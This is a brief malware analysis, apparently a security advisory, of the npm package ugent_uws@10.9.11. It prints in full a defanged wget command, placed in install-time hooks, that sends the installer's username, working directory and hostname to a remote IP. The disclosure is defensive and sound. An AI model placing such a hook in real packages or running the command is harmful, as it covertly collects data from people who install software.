ugent_uws@10.9.11

Analysis

Package ugent_uws@10.9.11 contains no functional code — only a package.json with a malicious preinstall hook. On npm install, the preinstall hook silently executes: wget --quiet "hxxp://5[.]189[.]134[.]9:6060/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)". This sends the installer's username, current working directory, and hostname to the remote IP 5[.]189[.]134[.]9:6060 via HTTP. The same beacon is configured in the test and preupdate lifecycle hooks. The package exposes no modules or exports — its only purpose is host reconnaissance during installation.